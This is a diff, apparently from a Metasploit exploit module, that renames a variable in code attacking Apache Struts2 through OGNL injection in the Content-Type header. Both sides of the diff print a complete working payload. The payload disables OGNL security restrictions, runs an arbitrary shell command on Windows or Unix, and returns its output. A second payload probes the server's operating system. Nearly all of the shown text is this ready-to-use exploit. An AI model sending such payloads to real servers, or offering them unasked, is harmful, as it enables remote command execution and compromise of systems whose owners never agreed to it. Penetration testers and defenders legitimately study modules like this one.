@@ -46,14 +46,14 @@ def print_status(msg='')
46
46
super ( "#{ peer } - #{ msg } " )
47
47
end
48
48
49
- def send_http_request ( payload )
49
+ def send_http_request ( content_type )
50
50
uri = normalize_uri ( datastore [ "TARGETURI" ] )
51
51
resp = send_request_cgi (
52
52
'uri' => uri ,
53
53
'version' => '1.1' ,
54
54
'method' => 'GET' ,
55
55
'headers' => {
56
- 'Content-Type' : payload
56
+ 'Content-Type' : content_type
57
57
}
58
58
)
59
59
@@ -64,47 +64,47 @@ def send_http_request(payload)
64
64
end
65
65
66
66
def http_send_command ( cmd )
67
- payload = "%{(#_='multipart/form-data')."
68
- payload <<
"(#[email protected] @DEFAULT_MEMBER_ACCESS)."
69
- payload << "(#_memberAccess?"
70
- payload << "(#_memberAccess=#dm):"
71
- payload << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
72
- payload << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
73
- payload << "(#ognlUtil.getExcludedPackageNames().clear())."
74
- payload << "(#ognlUtil.getExcludedClasses().clear())."
75
- payload << "(#context.setMemberAccess(#dm))))."
76
- payload << "(#cmd='#{ cmd } ')."
77
- payload << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78
- payload << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79
- payload << "(#p=new java.lang.ProcessBuilder(#cmds))."
80
- payload << "(#p.redirectErrorStream(true))."
81
- payload << "(#process=#p.start())."
82
- payload << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83
- payload << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84
- payload << "(#ros.flush())}"
85
- send_http_request ( payload )
67
+ content_type = "%{(#_='multipart/form-data')."
68
+ content_type <<
"(#[email protected] @DEFAULT_MEMBER_ACCESS)."
69
+ content_type << "(#_memberAccess?"
70
+ content_type << "(#_memberAccess=#dm):"
71
+ content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
72
+ content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
73
+ content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
74
+ content_type << "(#ognlUtil.getExcludedClasses().clear())."
75
+ content_type << "(#context.setMemberAccess(#dm))))."
76
+ content_type << "(#cmd='#{ cmd } ')."
77
+ content_type << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
78
+ content_type << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
79
+ content_type << "(#p=new java.lang.ProcessBuilder(#cmds))."
80
+ content_type << "(#p.redirectErrorStream(true))."
81
+ content_type << "(#process=#p.start())."
82
+ content_type << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
83
+ content_type << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
84
+ content_type << "(#ros.flush())}"
85
+ send_http_request ( content_type )
86
86
end
87
87
88
88
def check
89
89
var_a = rand_text_alpha_lower ( 4 )
90
90
91
- payload = ""
92
- payload << %q|%{|
93
- payload << %q|(#_='multipart/form-data').|
94
- payload <<
%q|(#[email protected] @DEFAULT_MEMBER_ACCESS).|
95
- payload << %q|(#_memberAccess?|
96
- payload << %q|(#_memberAccess=#dm):|
97
- payload << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98
- payload << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99
- payload << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100
- payload << %q|(#ognlUtil.getExcludedClasses().clear()).|
101
- payload << %q|(#context.setMemberAccess(#dm)))).|
102
- payload <<
%q|(#[email protected] @getProperty('os.name')).|
103
- payload << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| +var_a +%q|', #os))|
104
- payload << %q|}|
91
+ content_type = ""
92
+ content_type << %q|%{|
93
+ content_type << %q|(#_='multipart/form-data').|
94
+ content_type <<
%q|(#[email protected] @DEFAULT_MEMBER_ACCESS).|
95
+ content_type << %q|(#_memberAccess?|
96
+ content_type << %q|(#_memberAccess=#dm):|
97
+ content_type << %q|((#container=#context['com.opensymphony.xwork2.ActionContext.container']).|
98
+ content_type << %q|(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).|
99
+ content_type << %q|(#ognlUtil.getExcludedPackageNames().clear()).|
100
+ content_type << %q|(#ognlUtil.getExcludedClasses().clear()).|
101
+ content_type << %q|(#context.setMemberAccess(#dm)))).|
102
+ content_type <<
%q|(#[email protected] @getProperty('os.name')).|
103
+ content_type << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('| +var_a +%q|', #os))|
104
+ content_type << %q|}|
105
105
106
106
begin
107
- resp = send_http_request ( payload )
107
+ resp = send_http_request ( content_type )
108
108
rescue Msf ::Exploit ::Failed
109
109
return Exploit ::CheckCode ::Unknown
110
110
end
0 commit comments